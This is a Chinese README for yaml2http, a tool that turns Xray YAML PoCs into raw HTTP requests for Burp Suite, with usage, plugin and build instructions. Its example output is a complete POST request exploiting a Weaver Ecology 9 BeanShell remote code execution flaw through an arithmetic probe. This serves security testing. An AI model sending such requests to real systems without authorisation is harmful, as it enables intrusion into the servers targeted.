一个将Xray的Poc转换成http请求明文的小工具,便于在Burp Suite一类的工具中使用。
与杜老师交流Poc存储问题而引出的产物,采用了一个简易版的基于Xray的Poc标准,它只支持描述http协议。目前功能尚不完善,还在开发中...
当Poc的请求结构中包含不可打印字符时,推荐以插件形式载入Poc至Burp Suite中使用。
运行
java -jar yaml2http-1.0.jar -p poc-yaml-ecology9-beanshell-rce.yaml输出如下
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.47
Connection: close
Host: localhost
Content-Length: 87
bsh.script=print%2842503*40455%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw帮助信息
java -jar yaml2http-1.0.jar -h
usage: yaml2http
-b,--bytes <arg> Path to file need to be convert, convert the file
content as bytes value with b"" format.
-h,--help Help info.
-p,--path <arg> Path to poc file.支持在Burp Suite中以插件形式进行使用,这种方式可以避免不可打印字符的问题。
使用方式,从Extender导入下载或编译的jar包
进入Repeater页面,鼠标右键打开菜单并选择Extension -> Yaml Poc Loader -> Import,并选择需要载入的文件
加载完成后如下,默认指定localhost:80作为目标。
克隆源码到本地
git clone https://github.com/trganda/yaml2http并执行
cd yaml2http
mvn clean compile assembly:single之后可在target目录下查看编译后的jar包文件
- 完成
yaml解析,读取已支持字段值 - 完成变量定义外的
http文本转换 - 完成变量定义和表达式解析(已初步完成主体框架,后续补充方法功能即可)
- 完成
Content-Type自识别(但body数据过短会引起判断失误,推荐poc中自行指定) - 完成变量定义字段其他方法的支持